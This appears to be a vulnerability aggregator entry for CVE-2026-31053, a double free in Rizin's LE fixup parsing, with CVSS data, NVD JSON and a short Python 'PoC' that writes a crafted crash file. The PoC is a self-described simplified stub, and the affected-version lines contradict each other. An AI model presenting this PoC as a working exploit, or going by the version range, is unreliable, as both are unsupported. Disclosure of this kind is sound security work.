Security Vulnerability Report
中文
CVE-2026-31053 CVSS 6.2 MEDIUM

CVE-2026-31053

Published: 2026-04-06 15:17:08
Last Modified: 2026-04-14 19:12:32

Description

A double free vulnerability exists in librz/bin/format/le/le.c in the function le_load_fixup_record(). When processing malformed or circular LE fixup chains, relocation entries may be freed multiple times during error handling. A specially crafted LE binary can trigger heap corruption and cause the application to crash, resulting in a denial-of-service condition. An attacker with a crafted binary could cause a denial of service when the tool is integrated on a service pipeline.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:rizin:rizin:0.8.1:*:*:*:*:*:*:* - VULNERABLE
Rizin < 0.7.0 (估算)
包含漏洞librz组件的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC Concept: Create a malformed LE binary with circular fixup records # This script generates a dummy file intended to trigger the double free in le_load_fixup_record. def generate_malformed_le(filename): with open(filename, 'wb') as f: # LE Header (Simplified) # Signature 'LE' (0x4C45) and some minimal fields f.write(b'LE') # ... (Other header fields would go here) # Construct a circular fixup chain entry # This structure is designed to confuse the parser's free logic fixup_data = struct.pack('<I', 0xDEADBEEF) # Invalid offset pointing back or causing loop f.write(fixup_data) # Fill with padding to reach the vulnerable parsing logic f.write(b'A' * 100) if __name__ == "__main__": print("Generating PoC LE file...") generate_malformed_le('crash.le') print("File 'crash.le' generated. Run Rizin against this file to test.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31053", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:07.953", "lastModified": "2026-04-14T19:12:31.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A double free vulnerability exists in librz/bin/format/le/le.c in the function le_load_fixup_record(). When processing malformed or circular LE fixup chains, relocation entries may be freed multiple times during error handling. A specially crafted LE binary can trigger heap corruption and cause the application to crash, resulting in a denial-of-service condition. An attacker with a crafted binary could cause a denial of service when the tool is integrated on a service pipeline."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rizin:rizin:0.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "B042E055-7759-4BFC-8ED7-C19059411F63"}]}]}], "references": [{"url": "https://github.com/rizinorg/rizin/issues/5753", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/rizinorg/rizin/pull/5795", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}